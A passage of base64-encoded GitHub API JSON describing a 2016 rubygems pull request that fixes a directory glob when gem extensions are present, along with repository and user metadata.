W4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6IkZpeCBpbmNvcnJlY3QgZGlyIGdsb2JzIHdoZW4gaGF2ZV9leHRlbnNpb25zPyBpcyB0cnVlIiwidXNlciI6eyJsb2dpbiI6ImVpbGVlbmNvZGVzIiwiaWQiOjEwODA2NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEwODA2Nzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vZWlsZWVuY29kZXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6dHJ1ZX0sImJvZHkiOiJCZWZvcmUgdGhpcyBjaGFuZ2UgYGxpYl9kaXJzX2dsb2JgIHdvdWxkIHJldHVybiB0aGlzIGZvciB0aGUgZ2xvYiBpZiBgaGF2ZV9leHRlbnNpb25zP2Agd2FzIHRydWU6XG5cbmBgYFxuXCIvcHJpdmF0ZS92YXIvZm9sZGVycy9meS9ybWw2X3k5eDNiMzkyanBtcHkxNjBnN3IwMDAwZ24vVC90ZXN0X3J1YnlnZW1zXzY0Njc5L2dlbWhvbWUvZ2Vtcy9hLTIvey9wcml2YXRlL3Zhci9mb2xkZXJzL2Z5L3JtbDZfeTl4M2IzOTJqcG1weTE2MGc3cjAwMDBnbi9UL3Rlc3RfcnVieWdlbXNfNjQ2NzkvZ2VtaG9tZS9leHRlbnNpb25zL3g4Ni1kYXJ3aW4tOC8yLjMuMC1zdGF0aWMvYS0yLGxpYn1cIlxuYGBgXG5cbkFzIHlvdSBjYW4gc2VlIHRoZSBleHRlbnNpb25zIGRpcmVjdG9yeSBlbmRzIHVwIGluc2lkZSB0aGUgY3VybHkgYnJhY2VzIHNvIHRoZSBnbG9iIHdpbGwgbmV2ZXIgYWN0dWFsbHkgZmluZCBhbnl0aGluZyBpbiB0aGUgZXh0ZW5zaW9ucyBkaXJlY3RvcnkuXG5cblRoaXMgY29tbWl0IGNoYW5nZXMgdGhlIGdsb2IgdG8gbG9vayBsaWtlIHRoaXM6XG5cbmBgYFxuey9wcml2YXRlL3Zhci9mb2xkZXJzL2Z5L3JtbDZfeTl4M2IzOTJqcG1weTE2MGc3cjAwMDBnbi9UL3Rlc3RfcnVieWdlbXNfNjQ5MDQvZ2VtaG9tZS9leHRlbnNpb25zL3g4Ni1kYXJ3aW4tOC8yLjMuMC1zdGF0aWMvYS0yLGxpYn1cIlxuYGBgXG5cbkl0IGxvb2tzIGxpa2Ugd2hlbiBleHRlbnNpb25zIGFyZSBidWlsdCB0aGUgc2hhcmVkIG9iamVjdCBpcyBjb3BpZWQgdG8gdGhlIGxpYiBkaXIgYXMgd2VsbCBhcyB0aGUgZXh0ZW5zaW9ucyBkaXIuIFdoZW4gd2UncmUgc2VhcmNoaW5nIGZvciBhIHNoYXJlZCBvYmplY3Qgd2hpY2ggb25lIGRvIHdlIHdhbnQ/IFRoZSBsaWIgZGlyIG9yIHRoZSBleHRlbnNpb24gZGlyPyBJZiB3ZSB3YW50IHRoZSBleHRlbnNpb25zIGRpciB0aGVuIHdlIG5lZWQgdGhpcyBwYXRjaCB0byBmaXguIElmIHdlIHdhbnQgdGhlIGxpYiBkaXIgdGhlbiB0aGVyZSdzIG5vIHBvaW50IGluIGFkZGluZyB0aGUgZXh0ZW5zaW9ucyBkaXIgdG8gdGhlIGxpYiBkaXIgZ2xvYi5cblxuY2MvIEBkcmJyYWluIFxuIiwiY3JlYXRlZF9hdCI6IjIwMTYtMDItMDlUMTk6NTA6NDFaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDhUMDA6Mjg6MjlaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiI2NzUwMzA1ZjJkMjkzYTJmZDE4YmFkMWFkYjYxOTE0MWM4MTgzY2Q3IiwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNDgxL2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNDgxL2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0ODEvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzE2YTZlOGMxYTM4NzlkNTNhNjliMDVkMzlhNjNlYWI2ODFhMmFjOWUiLCJoZWFkIjp7ImxhYmVsIjoiZWlsZWVuY29kZXM6Zml4LWxpYl9kaXJzX2dsb2JfcGF0aHMiLCJyZWYiOiJmaXgtbGliX2RpcnNfZ2xvYl9wYXRocyIsInNoYSI6IjE2YTZlOGMxYTM4NzlkNTNhNjliMDVkMzlhNjNlYWI2ODFhMmFjOWUiLCJ1c2VyIjp7ImxvZ2luIjoiZWlsZWVuY29kZXMiLCJpZCI6MTA4MDY3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTA4MDY3OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9laWxlZW5jb2RlcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwicmVwbyI6eyJpZCI6NTA0NTIwMjEsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6ImVpbGVlbmNvZGVzL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJlaWxlZW5jb2RlcyIsImlkIjoxMDgwNjc4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMDgwNjc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2RlcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2VpbGVlbmNvZGVzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOnRydWV9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vZWlsZWVuY29kZXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6dHJ1ZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2VtcyIsImZvcmtzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9jb2xsYWJvcmF0b3Jzey9jb2xsYWJvcmF0b3J9IiwidGVhbXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9pc3N1ZXMvZXZlbnRzey9udW1iZXJ9IiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvYnJhbmNoZXN7L2JyYW5jaH0iLCJ0YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9naXQvdGFnc3svc2hhfSIsImdpdF9yZWZzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvc3RhdHVzZXMve3NoYX0iLCJsYW5ndWFnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL2NvbnRyaWJ1dG9ycyIsInN1YnNjcmliZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvY29tbWl0c3svc2hhfSIsImdpdF9jb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL2lzc3Vlcy9jb21tZW50c3svbnVtYmVyfSIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL21lcmdlcyIsImFyY2hpdmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZWlsZWVuY29kZXMvcnVieWdlbXMvaXNzdWVzey9udW1iZXJ9IiwicHVsbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL25vdGlmaWNhdGlvbnN7P3NpbmNlLGFsbCxwYXJ0aWNpcGF0aW5nfSIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL2xhYmVsc3svbmFtZX0iLCJyZWxlYXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL3JlbGVhc2Vzey9pZH0iLCJkZXBsb3ltZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2VpbGVlbmNvZGVzL3J1YnlnZW1zL2RlcGxveW1lbnRzIiwiY3JlYXRlZF9hdCI6IjIwMTYtMDEtMjZUMTk6MDc6NDNaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDEtMjZUMTk6MDc6NDVaIiwicHVzaGVkX2F0IjoiMjAxNi0wMi0xN1QxOToxOToxOVoiLCJnaXRfdXJsIjoiZ2l0Oi8vZ2l0aHViLmNvbS9laWxlZW5jb2Rlcy9ydWJ5Z2Vtcy5naXQiLCJzc2hfdXJsIjoiZ2l0QGdpdGh1Yi5jb206ZWlsZWVuY29kZXMvcnVieWdlbXMuZ2l0IiwiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2VpbGVlbmNvZGVzL3J1YnlnZW1zLmdpdCIsInN2bl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vZWlsZWVuY29kZXMvcnVieWdlbXMiLCJob21lcGFnZSI6Imh0dHA6Ly9ydWJ5Z2Vtcy5vcmciLCJzaXplIjoxOTIwNSwic3RhcmdhemVyc19jb3VudCI6MCwid2F0Y2hlcnNfY291bnQiOjAsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOmZhbHNlLCJoYXNfcHJvamVjdHMiOnRydWUsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjAsIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjAsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6MCwib3Blbl9pc3N1ZXMiOjAsIndhdGNoZXJzIjowLCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiYmFzZSI6eyJsYWJlbCI6InJ1YnlnZW1zOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6ImNjMTMwZjhkNzQ4OTQwZmM5YmJhMWJkMmVlY2IwN2Y3YzVmM2IwNWQiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1